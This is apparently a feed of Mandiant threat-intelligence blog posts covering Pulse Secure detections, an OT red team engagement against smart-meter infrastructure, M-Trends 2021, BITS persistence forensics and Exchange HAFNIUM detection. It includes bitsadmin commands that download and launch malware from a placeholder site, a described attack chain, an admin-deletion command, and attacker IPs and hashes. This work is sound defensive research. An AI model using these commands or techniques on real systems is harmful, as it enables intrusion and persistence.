Endpoint Security  Real-Time (IOC) SLOWPULSE (BACKDOOR) PACEMAKER (LAUNCHER) THINBLOOD (UTILITY) Helix VPN ANALYTICS [Abnormal Logon] EXPLOIT – SONICWALL ES [CVE-2021-20021 Attempt]  EXPLOIT – SONICWALL ES [CVE-2021-20021 Success] EXPLOIT – SONICWALL ES [CVE-2021-20023 Attempt] EXPLOIT – SONICWALL ES [CVE-2021-20023 Success] Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation. VID  Title  A101-596  Malicious File Transfer – SLOWPULSE, Download, Variant #1  A101-597  Malicious File Transfer – SLOWPULSE, Download, Variant #2  A101-598  Malicious File Transfer – SLOWPULSE, Download, Variant #3  A101-599  Malicious File Transfer – SLOWPULSE, Download, Variant #4  A101-600  Malicious File Transfer – SLOWPULSE, Download, Variant #5  A101-601  Malicious File Transfer – SLOWPULSE, Download, Variant #6  A101-602  Malicious File Transfer – SLOWPULSE, Download, Variant #7  A101-604  Malicious File Transfer – Pulse Secure Vulnerability, Utility, Download, Variant #1  A101-605  Malicious File Transfer – RADIALPULSE, Download, Variant #1  A101-606  Malicious File Transfer – PULSEJUMP, Download, Variant #1  A101-607  Malicious File Transfer – HARDPULSE, Download, Variant #1  A101-608  Malicious File Transfer – SLIGHTPULSE, Download, Variant #1  A101-609  Malicious File Transfer – LOCKPICK, Patcher, Download, Variant #1  A101-610  Malicious File Transfer – LOCKPICK, Download, Variant #1  A101-611  Malicious File Transfer – ATRIUM, Patcher, Download, Variant #1  A101-612  Malicious File Transfer – PACEMAKER, Launcher, Download, Variant #1  A101-613  Malicious File Transfer – PACEMAKER, Download, Variant #1  A101-614  Malicious File Transfer – QUIETPULSE Utility, Download, Variant #1  A101-615  Malicious File Transfer – QUIETPULSE, Download, Variant #1  A101-616  Malicious File Transfer – STEADYPULSE, Download, Variant #2  A101-617  Malicious File Transfer – STEADYPULSE, Download, Variant #1  A101-618  Malicious File Transfer – ATRIUM, Download, Variant #1  A101-619  Malicious File Transfer – THINBLOOD, Download, Variant #1  A101-620  Malicious File Transfer – THINBLOOD, Download, Variant #2  A101-621  Malicious File Transfer – PULSECHECK, Download, Variant #1  A101-622  Malicious File Transfer – PULSECHECK, Download, Variant #2  A104-757  Host CLI – QUIETPULSE Utility, Check, Variant #1  A104-758  Host CLI – QUIETPULSE Utility, Check, Variant #2  A104-759  Host CLI – QUIETPULSE Utility, Check, Variant #3  A104-760  Host CLI – QUIETPULSE Utility, Check, Variant #4  Acknowledgements Mandiant would like to thank the Stroz Friedberg DFIR and Security Testing teams for their collaboration with the analysis and research. The team would also like to thank Joshua Villanueva, Regina Elwell, Jonathan Lepore, Dimiter Andonov, Josh Triplett, Jacob Thompson and Michael Dockry for their hard work in analysis and blog content.

  • Hacking Operational Technology for Defense: Lessons Learned From OT Red Teaming Smart Meter Control Infrastructure
    by Shishir Gupta on April 13, 2021 at 3:00 pm

    High-profile security incidents in the past decade have brought increased scrutiny to cyber security for operational technology (OT). However, there is a continued perception across critical infrastructure organizations that OT networks are isolated from public networks—such as the Internet. In Mandiant’s experience, the concept of an ‘air gap’ separating OT assets from external networks rarely holds true in practice. In 2018, we released a blog post presenting the tools and techniques that TEMP.Veles used during the TRITON incident to traverse from an external compromise of the information technology (IT) network of a critical infrastructure organization to the safety systems located deep in the OT network. We regularly reproduce this approach in our OT-focused red team engagements to expose similar attack paths across client infrastructure and to identify environment specific opportunities to prevent and detect network propagation techniques across intermediary systems. In this blog post, we share another case study from one of our OT Red Team engagements to illustrate the tactics, techniques, and procedures (TTPs) that can be leveraged by sophisticated threat actors to breach the protected perimeter between an IT network and an OT network. We also examine some of the different types of critical information often found in IT networks that an attacker can leverage during later stages of the Targeted Attack Lifecycle. The goal of this engagement was to access an endpoint meter control infrastructure for a state-wide smart grid environment from the Internet and turn it off.    To hear our experts relay more on this and other OT Red Team lessons learned, join our FireEye Mandiant Virtual Summit session. Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence. Building the Foundation: Information Gathering for IT-OT Network Propagation Targeted OT attacks attempting to cause physical impacts require planning. A sophisticated actor who is motivated to disrupt or modify an industrial process from a public network will necessarily need to maintain access to the victim environment and remain undetected for enough time to accomplish their objective. Throughout this time, the actor will strive to learn about the control process to formulate the attack, figure out how to pivot to the OT systems and bypass security controls, and sometimes even develop or deploy custom OT malware. Similar to the techniques used by TEMP.Veles to reach the OT network during the TRITON incident, Mandiant’s experience during red team engagements highlights that collecting information from IT network assets plays a crucial role in targeted OT attacks. As a result, the internal reconnaissance phase for OT targeted attacks begins in the enterprise network, where the actor obtains knowledge and resources to propagate from an initial compromise in the IT network to remote access in the OT network. Detailed information collected about the target, their security operations, and their environment can also support an actor’s attempts at remaining undetected while expanding operations. Figure 1: Targeted OT attack from a public network Thinking Like an Adversary: How to Turn Off Smart Energy Meters The ideal scenario for an attacker targeting OT systems is to achieve their objective while remaining undetected. Mandiant’s Red Team works with clients across critical infrastructure industries to simulate attack scenarios in which actors can accomplish this goal by gaining access to OT systems via compromise of external facing IT networks. During these engagements, we emulate real actor behaviors to learn about our target and to determine the best paths for IT/OT network propagation. For this engagement, we simulated an end-to-end OT-specific attack scenario in which we tested the security controls and response capabilities of an organization to protect smart grid meter control infrastructure from an external attacker. Mandiant leveraged weaknesses in people, process, and technology to gain remote access from the public Internet and to achieve a set of pre-approved objectives in the OT environment. Establishing a Foothold in the IT Network Mandiant conducted a spear phishing exercise to gain initial access into the client’s enterprise network from the Internet. We defined a combination of two different phishing scenarios that we deployed to test email filtering and egress monitoring controls: Embedded link for a malicious file hosted on a Mandiant owned domain on the Internet Email attachment for a Microsoft Office document with auto – executable macro code This exercise allowed our team to achieve code execution on a user workstation in the enterprise environment and to establish an unattributable egress communication path to a Mandiant hosted Cobalt Strike Command and Control (C&C) server on the Internet. After establishing a stable communication path with workstations in the enterprise environment, we utilized the following publicly available offensive security tools (OST) to escalate privileges and to obtain domain administrator level access: ldapsearch to enumerate information in the enterprise domain PowerSploit to exploit common security misconfigurations in IT WMImplant to move laterally from one system to another in the internal network Mimikatz to extract credentials for local user and domain administrator accounts As domain administrators, we gained unrestricted access to a variety of resources connected to the enterprise domain (e.g. server resources, file shares, IT applications, and administrator consoles for IT systems). During the initial stages of our engagement, our actions were in no way different to other less sophisticated intrusions on industrial organizations, such as financially-motivated compromises. Defining Our Path to the OT Network Similar to real world threat actors carrying out targeted OT attacks, Mandiant’s OT Red Team dedicates significant effort for internal reconnaissance in the IT network to develop a logical mapping of the extended network architecture and discover targets of interest (people, processes, or technology). The information we acquire helps us to (a) define paths to propagate from the IT to the OT network and (b) achieve our final objective in the OT network without raising alarms. During OT Red Team engagements across different industries, we follow a real attacker’s cost-benefit analysis to determine which sources or methods are most likely to help us obtain that information. Figure 2: Information sources and target information from enterprise networks For this engagement, we leveraged the domain administrator credentials obtained in the previous phase to gain access to Microsoft System Center Configuration Manager (SCCM) in the IT network. Logged into the SCCM console, we leveraged software deployment features for collection to establish C&C over user workstations belonging to pre-selected departments in the client organization. Mandiant chose the specific groups based on the names of their departments and the description attributes, which suggested a high likelihood of member users with high privilege access for network infrastructure or application management. This included members of the following groups: network management, firewall administration, control engineering, and smart meter operations. Access to user workstations of target employees in these departments enabled us to: Capture keystrokes to obtain remote desktop protocol (RDP) credentials for the OT network by using a Cobalt Strike modified script Login to department file shares and extract OT system design documents Extract network design documents and backup files for OT firewall configurations found in the firewall management console Find plaintext credentials for OT management systems from operation manuals Internal reconnaissance in the IT network not only allowed us to obtain remote access credentials for the OT network, but to also gain a deeper understanding of the business processes and technical control system operations in the OT environment by reviewing internal OT-specific operational procedures and security documentation such as asset inventories and configurations. Propagating to the OT Network During the process of propagation from IT to OT networks, an actor will leverage previously compromised systems, credentials, or applications to access systems in higher security zones—such as OT demilitarized zones (DMZ). Based on our observations during multiple red teaming engagements and research, the most likely attack vectors for propagation are: Table 1: Most likely attack vectors for IT/OT propagation For this engagement, we initially analyzed the system architecture to define the best path to follow. Engineers from the target organization were required to use multi-factor-authentication (MFA) to gain remote access to jumpbox servers in the OT network. While not impossible, bypassing this setup would require more time and resources. We instead decided to search for other plausible attack propagation paths. Figure 3: Formal communication path from enterprise to OT network Reviewing the firewall configuration files, we identified a dedicated communication path for management access to a Microsoft Windows patch management server in a DMZ between the IT network and the OT network. This patch management server was running on a virtual machine in the DMZ network, while the administration console for the underlying hypervisor software itself was hosted in the IT network. Mandiant logged into the administration console for the hypervisor software using IT network domain administrator credentials. We then leveraged guest machine administration features via direct console access to execute commands on the patch management server in the DMZ network. The compromise of the patch management server in the DMZ allowed us to pivot via SMB connections to Microsoft Windows-based intermediary systems in the OT network. Figure 4: Remote attack propagation path from IT network to OT network Lastly, we compromised Microsoft Windows server systems in the OT network to complete the objectives of the exercise. Using OT credentials retrieved in the previous phases, we authenticated to the SMB service (using single factor authentication) by pivoting through the patch management server in the DMZ network. This enabled us to execute remote console commands on management servers (such as the domain controller) in the OT network. With access to the domain controller in the core OT network, we extracted credentials for high privilege domain administrator accounts in the OT network using DCSYNC and Mimikatz. Using these accounts, we gained control of management servers, application servers, and operator workstations in the OT network. Mandiant was also able to use compromised credentials to login to the human machine interface (HMI) portal for the meter control infrastructure and issue a disconnect command for a target endpoint meter in the smart grid environment. Strategic Collection and Detection Opportunities During Reconnaissance and Network Propagation Although specific capabilities such as malware and tooling vary amongst incidents, internal reconnaissance and network propagation are consistently needed for sophisticated adversaries to expand remote operations from external networks to OT systems. Focusing collection, detection, and hunting efforts on assets or information that are likely to be compromised during these phases presents defenders with strategic opportunities to hunt for and detect targeted adversary activity before it poses a risk to control systems.                                                                                    In a previous blog post stating our approach to OT security, we highlighted that IT networks close to production networks and OT intermediary systems remain the best zones to detect OT targeted attacks, a.k.a. “The Funnel of Opportunity”. As actors pivot across systems and networks to gather information and elevate privileges, they leave footprints that can be tracked before they propagate to critical systems. An actor who covertly performs internal reconnaissance and propagates to the OT network is already positioned to cause damage on mission critical assets and is unlikely to be discovered. Early detection of adversary activity before reaching critical OT systems will decrease the dwell time and the risk of an incident. OT defenders can prioritize collection and detection, alert triage, and incident response efforts by becoming familiar with the types of information and services that OT focused threat actors commonly search for during internal reconnaissance in IT networks and network propagation across OT intermediary systems. Understanding where this information resides presents defenders with a catalog of systems and networks to focus collection and detection efforts on. Defenders can create tailored detections to hunt for adversary activity pursuing this information, prioritize alert response efforts, and identify additional security controls to implement. Mandiant red teaming in OT can help organizations identify which data is valuable for attackers to support their network propagation efforts and which systems are most likely to be compromised by attackers targeting OT networks. Visit our website for more information or to request Mandiant services or threat intelligence.

  • M-Trends 2021: A View From the Front Lines
    by Jurgen Kutscher on April 13, 2021 at 1:45 pm

    We are thrilled to launch M-Trends 2021, the 12th edition of our annual FireEye Mandiant publication. The past year has been unique, as we witnessed an unprecedented combination of global events. Business operations shifted in response to the worldwide pandemic and threat actors continued to escalate the sophistication and aggressiveness of their attacks, while in parallel leveraged unexpected global events to their advantage. We discuss all of this and much more in the full report, which is available for download today. But first, here is a sneak preview of the most popular M-Trends metric where we answer the critical question: Are organizations getting better at detecting attacks? In short, yes! Back in 2011, we reported a 416-day global median dwell time, indicating that attackers were operating undetected on a system or network for over a year on average. This time, from Oct. 1, 2019 through Sept. 30, 2020, the median dwell time has decreased to only 24 days. This means—for the first time in M-Trends history—the median dwell time has dropped to under one month. Although this drop in dwell time is promising, it is critical for organizations to remember that cyber adversaries typically only need a few days to achieve their objective, such as identifying and stealing the crown jewels of a victim organization or launching a crippling ransomware attack. Organizations across the globe must remain vigilant, to prepare for the next incident. There is much more to unpack in the M-Trends 2021 report. Here is a quick rundown of what to expect: By the Numbers: A large and diverse set of metrics including attacker dwell time, detection by source, industry targeting, growing threat techniques, sophisticated malware families, and more. Ransomware: Front-line stories on how this harmful threat is evolving, challenges with recovery, and best practice hardening strategies to effectively combat this threat. Newly Named Threat Groups: More on FIN11, a financially motivated threat group that we promoted in 2020, which has been active since at least 2016 and is most recently known for operations involving ransomware and extortion. Pandemic-Related Threats: Breakdown of countless espionage campaigns targeting ground-breaking research in the race to learn more about COVID-19. UNC2452/SUNBURST: UNC2452’s headline-making compromise of environments via an implant in the SolarWinds Orion platform, mapped to the attack lifecycle framework with details at every stage. Case Studies: Mandiant engagements involving the rise of insider threats and how to be more prepared, plus advanced red teaming tactics that enabled access to executive emails without any exploits. For over a decade, the mission of M-Trends has always been the same: to arm security professionals with insights on the latest attacker activity as seen directly on the front lines, backed by actionable learnings to improve organizations’ security postures within an evolving threat landscape. Download the M-Trends 2021 report today, and then for more information, check out the FireEye Mandiant Virtual Summit. Starting today and running through April 15, the event includes a variety of sessions, with three related to M-Trends: one that provides an overview of the report and highlights key topics, another focused on our “By the Numbers” chapter coupled with mitigation solutions related to these metrics, and one covering the report through a lens from the EMEA region. Register now!

  • Back in a Bit: Attacker Use of the Windows Background Intelligent Transfer Service
    by David Via on March 31, 2021 at 3:00 pm

    In this blog post we will describe: How attackers use the Background Intelligent Transfer Service (BITS) Forensic techniques for detecting attacker activity with data format specifications Public release of the BitsParser tool A real-world example of malware using BITS persistence Introduction Microsoft introduced the Background Intelligent Transfer Service (BITS) with Windows XP to simplify and coordinate downloading and uploading large files. Applications and system components, most notably Windows Update, use BITS to deliver operating system and application updates so they can be downloaded with minimal user disruption. Applications interact with the Background Intelligent Transfer Service by creating jobs with one or more files to download or upload. The BITS service runs in a service host process and can schedule transfers to occur at any time. Job, file, and state information is stored in a local database. How Attackers Use BITS As is the case with many technologies, BITS can be used both by legitimate applications and by attackers. When malicious applications create BITS jobs, files are downloaded or uploaded in the context of the service host process. This can be useful for evading firewalls that may block malicious or unknown processes, and it helps to obscure which application requested the transfer. BITS transfers can also be scheduled allowing them to occur at specific times without relying on long-running processes or the task scheduler. BITS transfers are asynchronous, which can result in situations where the application that created a job may not be running when the requested transfers complete. To address this scenario BITS jobs can be created with a user-specified notification command, which will be executed after the job completes or in case of errors. The notification commands associated with BITS jobs can specify any executable or command to run. Attackers have utilized this feature as a method for maintaining persistence of malicious applications. Since the command data for BITS jobs is stored to a database rather than traditional registry locations, it can be overlooked by tools that attempt to identify persistence executables and commands or by forensic investigators. BITS jobs can be created using API function calls or via the bitsadmin command line tool. See Figure 1 and Figure 2 for an example of how a BITS job can be used to download a file and trigger execution. > bitsadmin /create download > bitsadmin /addfile download https://<site>/malware.exe c:\windows\malware.exe > bitsadmin /resume download > bitsadmin /complete download Created job {EA8603EB-7CC2-44EC-B1EE-E9923290C2ED}. Added https://<site>/malware.exe -> c:\windows\malware.exe to job. Job resumed. Job completed. Figure 1: Using bitsadmin to create a job that downloads a malicious executable and stores it to c:\windows\malware.exe. > bitsadmin /create persistence > bitsadmin /addfile persistence http://127.0.0.1/invalid.exe c:\windows\i.exe > bitsadmin /SetNotifyCmdLine persistence c:\windows\malware.exe NULL > bitsadmin /resume persistence Figure 2: Using bitsadmin to create a job that will launch malware.exe after attempting to download an invalid URL. Creating BitsParser Through our investigations, Mandiant consultants identified evidence of attackers leveraging BITS across multiple campaigns. In order to search for evidence of attacker use of BITS, we needed to understand the underlying infrastructure used by BITS and create a tool that could collect relevant information. We created BitsParser, which parses BITS databases and returns information about jobs executed on endpoint systems. The tool can be run internally by Mandiant consultants via our endpoint agent allowing BITS data to be acquired from many hosts across an enterprise. BitsParser has been successfully used in many investigations to uncover attacker downloads, uploads, and persistence. In order to process the custom database format, BitsParser utilizes the open source ANSSI-FR library. The library allows parsing of both active and deleted entries from BITS database files, and it can fully extract relevant information from job and file records. The QMGR Database BITS jobs and associated state information are stored in local “queue manager” (QMGR) database files in the %ALLUSERSPROFILE%\Microsoft\Network\Downloader directory. The database is stored to files named qmgr0.dat and qmgr1.dat. The two-file scheme appears to be used for back up and synchronization purposes. The second file largely contains duplicate job and file information, though some unique or older entries can be found in the file. Windows 10 Changes The Background Intelligent Transfer Service has largely remained unchanged since its introduction. However, Windows 10 introduced significant changes to the service, including an all new database format. On Windows 10 the QMGR database is stored using the Extensible Storage Engine (ESE) format. ESE databases have been used in many other Microsoft products including Exchange, Active Directory, and Internet Explorer. Windows 10 stores the QMGR database in a single file called qmgr.db. Separate transaction log files are maintained in the same directory. The most recent transaction log is stored to a file called edb.log, and three older transaction logs with numerical suffixes are typically present. Parsing ESE Databases In order to support investigations on Windows 10 systems, we updated the BitsParser tool to support the new QMGR database format. To accomplish this, we needed a Python-based ESE database parser. Research led us to libesedb, which is a full ESE database implementation written in C with a Python wrapper. With no other Python options available, we initially used libesedb in BitsParser to parse the Windows 10 QMGR database. However, we sought a solution that did not rely on native executables and would be more compact for improved efficiency in large scale deployments. The only pure Python ESE database implementation we identified was part of the Impacket network toolset. Although the source code could perform basic database enumeration, it lacked key features, including the ability to process long values. Since the QMGR database includes entries large enough to require long values, modification of the Impacket implementation was required. We adapted the Impacket ESE database parsing code to make it more robust and support all features necessary for parsing QMGR databases. The full Python solution allows database parsing in a much smaller package without the risks and limitations of native code. Database Structure The Windows 10 QMGR database contains two tables: Jobs and Files. Both tables have two columns: Id and Blob. The Id contains a GUID to identify the entry, and the Blob contains binary data which defines the job or file. Fortunately, the job and file structures are largely unchanged from the previous database format. Job data starts with the control structure: Offset Field Size 0 Type 4 4 Priority 4 8 State 4 …     16 Job ID (GUID) 16 32 Name (UTF-16) variable variable Description (UTF-16) variable variable Command (UTF-16) variable variable Arguments (UTF-16) variable variable User SID (UTF-16) variable variable Flags 4 Following the control structure is a list of files delimited by the XFER GUID, {7756DA36-516F-435A-ACAC-44A248FFF34D}. The list begins with a 4-byte file count followed by a list of GUIDs, which correspond to Id values in the Files table. The file data uses the following structure: Field Size Destination Filename (UTF-16) variable Source Filename (UTF-16) variable Temporary Filename (UTF-16) variable Download Size 8 Transfer Size 8 unknown 1 Drive (UTF-16) variable Volume GUID (UTF-16) variable The database is processed by enumerating entries in the Jobs table, parsing each job data, finding correlated files, and parsing the corresponding records in the Files table. This allows the BitsParser to combine related information and output jobs with their associated files including relevant metadata. Recovering Deleted Records Active jobs have entries in the Jobs and Files tables. Records are deleted upon job completion or cancellation. As with other filesystem and data formats, deleted entries are not immediately overwritten and can often be recovered for some time after deletion. The following algorithm is used to recover deleted jobs and files from Windows 10 QMGR databases: Locate file records by searching for the file identifier GUID, {519ECFE4-D946-4397-B73E-268513051AB2}. Attempt to parse the following data as a normal file record. Locate job records by searching for job identifier GUIDs. Attempt to parse the following data as a normal job record. Handle incomplete job entries by parsing just the control structure and manually locate associated files if required. The following job GUIDs have been observed in QMGR databases:{E10956A1-AF43-42C9-92E6-6F9856EBA7F6} {4CD4959F-7064-4BF2-84D7-476A7E62699F} {A92619F1-0332-4CBF-9427-898818958831} {DDBC33C1-5AFB-4DAF-B8A1-2268B39D01AD} {8F5657D0-012C-4E3E-AD2C-F4A5D7656FAF} {94416750-0357-461D-A4CC-5DD9990706E4} Correlate carved file records to carved jobs. Process all remaining carved file records that could not be correlated to active or deleted jobs. Historic records can also be found in transaction log files. Although we do not parse the transaction log structures, the same algorithm can be used to find job and file records within the logs by searching for appropriate GUIDs. While the same records may be present in multiple files, duplicates can be suppressed to prevent output of redundant information. BitsParser Tool Release At the time of writing we are not aware of any open source tools available to parse BITS databases and extract data useful for incident response and forensic investigations. To help address this and foster further research, FireEye has decided to release a standalone version of BitsParser. This command line utility can process all versions of BITS databases and perform carving to recover deleted job and file information. Source code for BitsParser can be found at our GitHub page. Note that on Windows 10 the QMGR database files are opened without sharing by the BITS service thus preventing other programs from directly opening them. When BitsParser is deployed via the FireEye endpoint agent it can directly parse the local filesystem and raw read files in circumstances where they cannot be directly read. The standalone BitsParser does not have this ability. The BITS service should be stopped prior to running BitsParser or third-party tools for copying locked files may be utilized. BITS Persistence in the Wild In 2020 Mandiant responded to many incidents involving Ryuk ransomware operators leveraging custom backdoors and loaders to actively target hospitals and other medical support centers (see our blog post Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser). Through numerous engagements Mandiant was able to profile the attacker’s Tools Techniques and Procedures (TTPs) and identify unique aspects of the various backdoors and loaders that were leveraged prior to encryption. In one such engagement, Mandiant consultants had mapped the vast majority of the attack timeline from initial exploitation to the encryption of corporate resources and an extortion demand. Log analysis and telemetry provided by the customer’s on-premises endpoint detection solution led to the identification of a KEGTAP backdoor on an end-user workstation. Mandiant was able to identify the specific email and lure used by the ransomware operators including the download and execution of the file mail.exe, which launched KEGTAP. However, none of the persistence mechanisms that Mandiant observed in other engagements were present on this endpoint. A full understanding of the persistence mechanism would allow Mandiant to hunt for additional evidence of attacker activity across the environment and in other engagements. As focus intensified, Mandiant consultants identified evidence to indicate that the BITS service launched the KEGTAP backdoor. Analysts identified entries in the Microsoft-Windows-Bits-Client operational event log which associated the BITS service activity with the file mail.exe. 3 | Information | The BITS service created a new job: System update, with owner REDACTED 61 | Warning | BITS stopped transferring the System update transfer job that is associated with the http://127.0.0.1/tst/56/ URL. The status code is 2147954429.   64 | Warning | The BITS job System update is configured to launch C:\Users\REDACTED\AppData\Local\Microsoft\Windows\INetCache\IE\REDACTED\mail.exe after transfer of http://127.0.0.1/tst/12/. The service failed to launch the program with error 2147942402, BITS will continue trying to launch the program periodically until it succeeds.   Figure 3: Event log entries showing the creation of a BITS job for persistence Mandiant consultants were able to confirm the details of the BITS job by interacting with the host and examining the QMGR database. The malicious BITS job was set to attempt an HTTP transfer of a nonexistent file from the local host. As this file would never exist, BITS would trigger the error state and launch the notify command, which in this case was KEGTAP. Unfortunately, while this was successful in identifying a previously unknown persistence mechanism associated with this threat group, manual QMGR database analysis would not scale across multiple systems or environments. Adapting the existing BitsParser to parse the Windows 10 version of the QMGR database enabled Mandiant consultants to efficiently identify additional infected systems across multiple environments. {     “JobType”: “download”,     “JobPriority”: “normal”,     “JobState”: “queued”,     “JobName”: “System update”,     “CommandExecuted”: “C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe”,     “Files”: [         {             “DestFile”: “C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe”,             “SourceURL”: “http://127.0.0.1/tst/56/”,             “DownloadByteSize”: 0         }     ] } Figure 4: BitsParser output shows the malicious BITS job launching mail.exe Conclusion The Background Intelligent Transfer Service continues to provide utility to applications and attackers alike. The BITS QMGR database can present a useful source of data in an investigation or hunting operation. BitsParser may be utilized with other forensic tools to develop a detailed view of attacker activity.

  • Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities
    by Matt Bromiley on March 4, 2021 at 10:30 pm

    Beginning in January 2021, Mandiant Managed Defense observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment. The observed activity included creation of web shells for persistent access, remote code execution, and reconnaissance for endpoint security solutions. Our investigation revealed that the files created on the Exchange servers were owned by the user NT AUTHORITY\SYSTEM, a privileged local account on the Windows operating system. Furthermore, the process that created the web shell was UMWorkerProcess.exe, the process responsible for Exchange Server’s Unified Messaging Service. In subsequent investigations, we observed malicious files created by w3wp.exe, the process responsible for the Exchange Server web front-end. In response to this activity, we built threat hunting campaigns designed to identify additional Exchange Server abuse. We also utilized this data to build higher-fidelity detections of web server process chains. On March 2, 2021, Microsoft released a blog post that detailed multiple zero-day vulnerabilities used to attack on-premises versions of Microsoft Exchange Server. Microsoft also issued emergency Exchange Server updates for the following vulnerabilities: CVE Risk Rating Access Vector Exploitability Ease of Attack Mandiant Intel CVE-2021-26855 Critical Network Functional Easy Link CVE-2021-26857 Medium Network Functional Easy Link CVE-2021-26858 Medium Network Functional Easy Link CVE-2021-27065 Medium Network Functional Easy Link Table 1: List of March 2021 Microsoft Exchange CVEs and FireEye Intel Summaries The activity reported by Microsoft aligns with our observations. FireEye currently tracks this activity in three clusters, UNC2639, UNC2640, and UNC2643. We anticipate additional clusters as we respond to intrusions. We recommend following Microsoft’s guidance and patching Exchange Server immediately to mitigate this activity. Based on our telemetry, we have identified an array of affected victims including US-based retailers, local governments, a university, and an engineering firm. Related activity may also include a Southeast Asian government and Central Asian telecom. Microsoft reported the exploitation occurred together and is linked to a single group of actors tracked as “HAFNIUM”, a group that has previously targeted the US-based defense companies, law firms, infectious disease researchers, and think tanks. In this blog post, we will detail our observations on the active investigations we are currently performing. As our experience with and knowledge of this threat actor grows, we will update this post or release new technical details as appropriate. For our Managed Defense Customers, we have launched a Community Protection Event that will provide frequent updates on this threat actor and activity. We will be discussing these attacks more in an upcoming webinar on Mar. 17, 2021. From Exploit to Web Shell Beginning in January 2021, Mandiant Managed Defense observed the creation of web shells on one Microsoft Exchange server file system within a customer’s environment. The web shell, named help.aspx (MD5: 4b3039cf227c611c45d2242d1228a121), contained code to identify the presence of (1) FireEye xAgent, (2) CarbonBlack, or (3) CrowdStrike Falcon endpoint products and write the output of discovery. Figure 1 provides a snippet of the web shell’s code. Figure 1: Snippet of the web shell help.aspx, crafted to identify the presence of endpoint security software on a victim system The web shell was written to the system by the UMWorkerProcess.exe process, which is associated with Microsoft Exchange Server’s Unified Messaging service. This activity suggested exploitation of CVE-2021-26858. Approximately twenty days later, the attacker placed another web shell on a separate Microsoft Exchange Server. This second, partially obfuscated web shell, named iisstart.aspx (MD5: 0fd9bffa49c76ee12e51e3b8ae0609ac), was more advanced and contained functions to interact with the file system. As seen in Figure 2, the web shell included the ability to run arbitrary commands and upload, delete, and view the contents of files. Figure 2: Snippet of iisstart.aspx, uploaded by the attacker in late January 2021 While the use of web shells is common amongst threat actors, the parent processes, timing, and victim(s) of these files clearly indicate activity that commenced with the abuse of Microsoft Exchange. In March 2021, in a separate environment, we observed a threat actor utilize one or more vulnerabilities to place at least one web shell on the vulnerable Exchange Server. This was likely to establish both persistence and secondary access, as in other environments. In this case, Mandiant observed the process w3wp.exe, (the IIS process associated with the Exchange web front-end) spawning cmd.exe to write a file to disk. The file, depicted in Figure 3, matches signatures for the tried-and-true China Chopper. Figure 3: Snippet of China Chopper web shell found on a compromised Exchange Server system We observed that in at least two cases, the threat actors subsequently issued the following command against the Exchange web server: net group “Exchange Organization administrators” administrator /del /domain. This command attempts to delete the administrator user from the Exchange Organizations administrators group, beginning with the Domain Controller in the current domain. If the system is in a single-system domain, it will execute on the local computer. Per Microsoft’s blog, they have identified additional post-exploitation activities, including: Credential theft via dumping of LSASS process memory. Compression of data for exfiltration via 7-Zip. Use of Exchange PowerShell Snap-ins to export mailbox data. Use of additional offensive security tools Covenant, Nishang, and PowerCat for remote access. The activity we have observed, coupled with others in the information security industry, indicate that these threat actors are likely using Exchange Server vulnerabilities to gain a foothold into environments. This activity is followed quickly by additional access and persistent mechanisms. As previously stated, we have multiple ongoing cases and will continue to provide insight as we respond to intrusions. Investigation Tips We recommend checking the following for potential evidence of compromise: Child processes of C:\Windows\System32\inetsrv\w3wp.exe on Exchange Servers, particularly cmd.exe. Files written to the system by w3wp.exe or UMWorkerProcess.exe. ASPX files owned by the SYSTEM user New, unexpected compiled ASPX files in the Temporary ASP.NET Files directory Reconnaissance, vulnerability-testing requests to the following resources from an external IP address: /rpc/ directory /ecp/DDI/DDIService.svc/SetObject Non-existent resources With suspicious or spoofed HTTP User-Agents Unexpected or suspicious Exchange PowerShell SnapIn requests to export mailboxes In our investigations to date, the web shells placed on Exchange Servers have been named differently in each intrusion, and thus the file name alone is not a high-fidelity indicator of compromise. If you believe your Exchange Server was compromised, we recommend investigating to determine the scope of the attack and dwell time of the threat actor. Furthermore, as system and web server logs may have time or size limits enforced, we recommend preserving the following artifacts for forensic analysis: At least 14 days of HTTP web logs from the inetpub\Logs\LogFiles directories (include logs from all subdirectories) The contents of the Exchange Web Server (also found within the inetpub folder) At least 14 days of Exchange Control Panel (ECP) logs, located in Program Files\Microsoft\Exchange Server\v15\Logging\ECP\Server Microsoft Windows event logs We have found significant hunting and analysis value in these log folders, especially for suspicious CMD parameters in the ECP Server logs. We will continue updating technical details as we observe more related activity. Technical Indicators The following are technical indicators we have observed, organized by the threat groups we currently associate with this activity. To increase investigation transparency, we are including a Last Known True, or LKT, value for network indicators. The LKT timestamp indicates the last time Mandiant knew the indicator was associated with the adversary; however, as with all ongoing intrusions, a reasonable time window should be considered. UNC2639 Indicator Type Note 165.232.154.116 Network: IP Address Last known true: 2021/03/02 02:43 182.18.152.105 Network: IP Address Last known true: 2021/03/03 16:16 UNC2640 Indicator Type MD5 help.aspx File: Web shell 4b3039cf227c611c45d2242d1228a121 iisstart.aspx File: Web shell 0fd9bffa49c76ee12e51e3b8ae0609ac UNC2643 Indicator Type MD5/Note Cobalt Strike BEACON File: Shellcode 79eb217578bed4c250803bd573b10151 89.34.111.11 Network: IP Address Last known true: 2021/03/03 21:06 86.105.18.116 Network: IP Address Last known true: 2021/03/03 21:39 Detecting the Techniques FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of Exchange Server exploitation or post-exploitation activities we associated with these threat actors. Platform(s) Detection Name Network Security  Email Security  Detection On Demand  Malware File Scanning  Malware File Storage Scanning  FEC_Trojan_ASPX_Generic_2 FE_Webshell_ASPX_Generic_33 FEC_APT_Webshell_ASPX_HEARTSHELL_1 Exploit.CVE-2021-26855 Endpoint Security Real-Time (IOC) SUSPICIOUS CODE EXECUTION FROM EXCHANGE SERVER (EXPLOIT) ASPXSPY WEBSHELL CREATION A (BACKDOOR) PROCDUMP ON LSASS.EXE (METHODOLOGY) TASKMGR PROCESS DUMP OF LSASS.EXE A (METHODOLOGY) NISHANG POWERSHELL TCP ONE LINER (BACKDOOR) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) POWERSHELL DOWNLOADER (METHODOLOGY) Malware Protection (AV/MG) Trojan.Agent.Hafnium.A Module Coverage [Process Guard] – prevents dumping of LSASS memory using the procdump 